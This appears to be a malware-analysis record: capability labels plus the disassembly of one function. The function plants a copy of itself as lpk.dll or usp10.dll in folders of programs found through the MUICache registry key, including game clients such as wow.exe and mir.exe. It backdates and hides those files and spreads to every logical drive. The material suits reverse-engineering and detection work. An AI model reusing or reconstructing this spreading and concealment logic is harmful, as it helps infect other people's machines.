Function at 0x10005472
Capabilities:
Check if file exists
Copy file
Get common file path
Get disk information
Get file attributes
Query or enumerate registry value
Set file attributes

Disassembly:
push ebp
lea ebp, [esp - 0x1600]
mov eax, 0x1680
call fcn.10012960
mov eax, dword [0x1002b0a0]
xor eax, ebp
mov dword [ebp + 0x15fc], eax
mov eax, dword [ebp + 0x1608]
push ebx
push esi
push 0x12c
mov dword [ebp - 0x70], eax
xor ebx, ebx
lea eax, [ebp + 0x14ac]
push ebx
push eax
call fcn.1000f9c0
add esp, 0xc
push 0x100
lea eax, [ebp + 0x14ac]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea eax, [ebp + 0x14ac]
lea esi, [ebp + 0x14ac]
push eax
dec esi
call fcn.10011b80
cmp byte [eax + esi], 0x5c
pop ecx
jne 0x100054ef
lea eax, [ebp + 0x14ac]
push eax
call fcn.10011b80
pop ecx
mov byte [eax + esi], bl
push edi
mov edi, 0x400
push edi
lea eax, [ebp + 0x10ac]
push ebx
push eax
call fcn.1000f9c0
push edi
lea eax, [ebp + 0x8ac]
push ebx
push eax
call fcn.1000f9c0
push edi
lea eax, [ebp + 0xac]
push ebx
push eax
call fcn.1000f9c0
push edi
lea eax, [ebp + 0x4ac]
push ebx
push eax
call fcn.1000f9c0
lea eax, [ebp + 0x14ac]
push eax
lea eax, [ebp + 0x10ac]
push str._sLpk.dll
push eax
call fcn.100118df
lea eax, [ebp + 0x14ac]
push eax
lea eax, [ebp + 0xac]
push str._sUsp10.dll
push eax
call fcn.100118df
add esp, 0x48
push 0x21
lea eax, [ebp + 0x15d8]
push ebx
push eax
call fcn.1000f9c0
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
add esp, 0xc
lea eax, [ebp + 0xac]
push eax
mov dword [ebp - 0x68], ebx
call esi
cmp eax, 0xffffffff
lea eax, [ebp + 0x10ac]
push eax
jne 0x100055af
call esi
cmp eax, 0xffffffff
jne 0x100055a0
mov dword [ebp - 0x68], 1
jmp 0x100055cb
lea eax, [ebp + 0x15d8]
push eax
lea eax, [ebp + 0x10ac]
jmp 0x100055c3
call esi
cmp eax, 0xffffffff
jne 0x100055cb
lea eax, [ebp + 0x15d8]
push eax
lea eax, [ebp + 0xac]
push eax
call fcn.10001d93
pop ecx
pop ecx
lea eax, [ebp + 0x15d8]
push eax
push 0x1002c878
call fcn.100128d0
pop ecx
pop ecx
mov esi, 0x1002ca18
test eax, eax
je 0x10005736
cmp dword [0x1002d9f0], 2
jb 0x100055fe
cmp dword [ebp - 0x68], 1
jne 0x10005736
lea eax, [ebp + 0x10ac]
push eax
lea eax, [ebp + 0x4ac]
push eax
call fcn.10011a80
lea eax, [ebp + 0x4ac]
push str.Thumbss.db
push eax
call fcn.10011a90
lea eax, [ebp + 0x10ac]
push eax
lea eax, [ebp + 0x8ac]
push eax
call fcn.10011a80
lea eax, [ebp + 0x8ac]
push str.Thumbs.db
push eax
call fcn.10011a90
add esp, 0x20
push ebx
lea eax, [ebp + 0x8ac]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push ebx
lea eax, [ebp + 0x4ac]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [ebp + 0x8ac]
push eax
call fcn.1001298b
lea eax, [ebp + 0x4ac]
push eax
call fcn.1001298b
lea eax, [ebp + 0x8ac]
push eax
lea eax, [ebp + 0x10ac]
push eax
call fcn.10013209
lea eax, [ebp + 0x8ac]
push eax
call fcn.1001298b
lea eax, [ebp + 0x4ac]
push eax
lea eax, [ebp + 0xac]
push eax
call fcn.10013209
lea eax, [ebp + 0x4ac]
push eax
call fcn.1001298b
add esp, 0x20
call dword [sym.imp.KERNEL32.dll_GetTickCount]
test al, 1
je 0x100056dd
lea eax, [ebp + 0xac]
push eax
lea eax, [ebp + 0x10ac]
push eax
call fcn.10011a80
pop ecx
pop ecx
push 1
lea eax, [ebp + 0x10ac]
push eax
push dword [ebp - 0x70]
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push ebx
push 0x2000000
push 3
push ebx
push 5
push 0xc0000000
lea eax, [ebp + 0x10ac]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push esi
push esi
push esi
push eax
mov dword [0x1002cd4c], eax
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push dword [0x1002cd4c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 6
lea eax, [ebp + 0x10ac]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [ebp - 0x74]
push eax
push str.SoftwareMicrosoftWindowsShellNoRoamMUICache
push connect
mov dword [ebp - 0x80], 1
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x10005b72
push edi
lea eax, [ebp + 0xcac]
push ebx
push eax
mov dword [ebp - 0x6c], ebx
mov dword [ebp - 0x7c], edi
mov dword [ebp - 0x78], 0x105
call fcn.1000f9c0
add esp, 0xc
lea eax, [ebp - 0x7c]
push eax
lea eax, [ebp - 0x64]
push eax
lea eax, [ebp - 0x80]
push eax
push ebx
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp + 0xcac]
push eax
push ebx
jmp 0x10005b55
lea eax, [ebp + 0x14ac]
push eax
call fcn.100211bd
mov dword [ebp - 0x68], eax
lea eax, [ebp + 0xcac]
push eax
call fcn.100211bd
push dword [ebp - 0x68]
push eax
call fcn.10011500
add esp, 0x10
test eax, eax
jne 0x10005b1b
lea eax, [ebp + 0xcac]
push eax
call fcn.100211bd
mov dword [esp], 0x10022f20
push eax
call fcn.10011500
pop ecx
pop ecx
test eax, eax
jne 0x10005b1b
lea eax, [ebp + 0xcac]
push eax
call fcn.100211bd
mov dword [esp], str.system32
push eax
call fcn.10011500
pop ecx
pop ecx
test eax, eax
jne 0x10005b1b
lea eax, [ebp + 0xcac]
push eax
call fcn.100211bd
mov dword [esp], 0x10022d10
push eax
call fcn.10011500
pop ecx
pop ecx
test eax, eax
jne 0x10005b1b
lea eax, [ebp + 0xcac]
push eax
call fcn.100211bd
mov dword [esp], str.desktop
push eax
call fcn.10011500
pop ecx
pop ecx
test eax, eax
jne 0x10005b1b
lea eax, [ebp + 0xcac]
push eax
call fcn.100211bd
mov dword [esp], str.wow.exe
push eax
call fcn.10011500
pop ecx
pop ecx
test eax, eax
jne 0x100058d0
lea eax, [ebp + 0xcac]
push eax
call fcn.100211bd
mov dword [esp], str.hengtu.dat
push eax
call fcn.10011500
pop ecx
pop ecx
test eax, eax
jne 0x100058d0
lea eax, [ebp + 0xcac]
push eax
call fcn.100211bd
mov dword [esp], str.mir.exe
push eax
call fcn.10011500
pop ecx
pop ecx
test eax, eax
jne 0x100058d0
lea eax, [ebp + 0xcac]
push eax
call fcn.100211bd
mov dword [esp], str.iexplore.exe
push eax
call fcn.10011500
pop ecx
pop ecx
test eax, eax
je 0x10005b1b
push edi
lea eax, [ebp + 0x10ac]
push ebx
push eax
call fcn.1000f9c0
push edi
lea eax, [ebp + 0x8ac]
push ebx
push eax
call fcn.1000f9c0
push edi
lea eax, [ebp + 0xac]
push ebx
push eax
call fcn.1000f9c0
push edi
lea eax, [ebp + 0x4ac]
push ebx
push eax
call fcn.1000f9c0
lea eax, [ebp + 0xcac]
push eax
lea eax, [ebp + 0x10ac]
push eax
call fcn.10011a80
lea eax, [ebp + 0xcac]
push eax
lea eax, [ebp + 0xac]
push eax
call fcn.10011a80
add esp, 0x40
lea eax, [ebp + 0x10ac]
push str...Lpk.dll
push eax
call fcn.10011a90
lea eax, [ebp + 0xac]
push str...Usp10.dll
push eax
call fcn.10011a90
push 0x21
lea eax, [ebp + 0x15d8]
push ebx
push eax
call fcn.1000f9c0
add esp, 0x1c
lea eax, [ebp + 0xac]
push eax
mov dword [ebp - 0x68], ebx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
lea eax, [ebp + 0x10ac]
push eax
jne 0x100059a4
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x10005995
mov dword [ebp - 0x68], 1
jmp 0x100059c4
lea eax, [ebp + 0x15d8]
push eax
lea eax, [ebp + 0x10ac]
jmp 0x100059bc
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x100059c4
lea eax, [ebp + 0x15d8]
push eax
lea eax, [ebp + 0xac]
push eax
call fcn.10001d93
pop ecx
pop ecx
lea eax, [ebp + 0x15d8]
push eax
push 0x1002c878
call fcn.100128d0
pop ecx
pop ecx
test eax, eax
je 0x10005b1b
cmp dword [0x1002d9f0], 2
jb 0x100059f2
cmp dword [ebp - 0x68], 1
jne 0x10005b1b
lea eax, [ebp + 0xcac]
push eax
lea eax, [ebp + 0x4ac]
push eax
call fcn.10011a80
lea eax, [ebp + 0x4ac]
push str.Thumbss.db
push eax
call fcn.10011a90
lea eax, [ebp + 0xcac]
push eax
lea eax, [ebp + 0x8ac]
push eax
call fcn.10011a80
lea eax, [ebp + 0x8ac]
push str.Thumbs.db
push eax
call fcn.10011a90
add esp, 0x20
push ebx
lea eax, [ebp + 0x8ac]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push ebx
lea eax, [ebp + 0x4ac]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [ebp + 0x8ac]
push eax
call fcn.1001298b
lea eax, [ebp + 0x4ac]
push eax
call fcn.1001298b
lea eax, [ebp + 0x8ac]
push eax
lea eax, [ebp + 0x10ac]
push eax
call fcn.10013209
lea eax, [ebp + 0x8ac]
push eax
call fcn.1001298b
lea eax, [ebp + 0x4ac]
push eax
lea eax, [ebp + 0xac]
push eax
call fcn.10013209
lea eax, [ebp + 0x4ac]
push eax
call fcn.1001298b
add esp, 0x20
call dword [sym.imp.KERNEL32.dll_GetTickCount]
test al, 1
je 0x10005ad1
lea eax, [ebp + 0xac]
push eax
lea eax, [ebp + 0x10ac]
push eax
call fcn.10011a80
pop ecx
pop ecx
push 1
lea eax, [ebp + 0x10ac]
push eax
push dword [ebp - 0x70]
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push ebx
push 0x2000000
push 3
push ebx
push 5
push 0xc0000000
lea eax, [ebp + 0x10ac]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push esi
push esi
push esi
push eax
mov dword [0x1002cd4c], eax
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push dword [0x1002cd4c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc dword [ebp - 0x6c]
mov eax, 0x105
push edi
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x7c], eax
lea eax, [ebp + 0xcac]
push ebx
push eax
call fcn.1000f9c0
add esp, 0xc
lea eax, [ebp - 0x7c]
push eax
lea eax, [ebp - 0x64]
push eax
lea eax, [ebp - 0x80]
push eax
push ebx
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp + 0xcac]
push eax
push dword [ebp - 0x6c]
push dword [ebp - 0x74]
call dword [sym.imp.ADVAPI32.dll_RegEnumValueA]
cmp eax, 0x103
jne 0x10005795
push dword [ebp - 0x74]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edi, dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
push ebx
push ebx
call edi
push eax
mov dword [ebp - 0x6c], eax
call fcn.100119ab
pop ecx
mov esi, eax
push esi
push dword [ebp - 0x6c]
call edi
push esi
call fcn.10011b80
pop ecx
pop edi
jmp 0x10005bd4
push 0x5c
push esi
call fcn.10011440
pop ecx
pop ecx
cmp eax, ebx
je 0x10005bc2
push dword [ebp - 0x70]
mov byte [eax], bl
push 1
push esi
call fcn.10003ead
push esi
call fcn.10011b80
add esp, 0x10
lea esi, [esi + eax + 2]
jmp 0x10005bcd
push esi
call fcn.10011b80
pop ecx
lea esi, [esi + eax + 1]
push esi
call fcn.10011b80
pop ecx
test eax, eax
jne 0x10005b98
mov ecx, dword [ebp + 0x15fc]
pop esi
xor ecx, ebp
pop ebx
call fcn.10011586
add ebp, 0x1600
leave
ret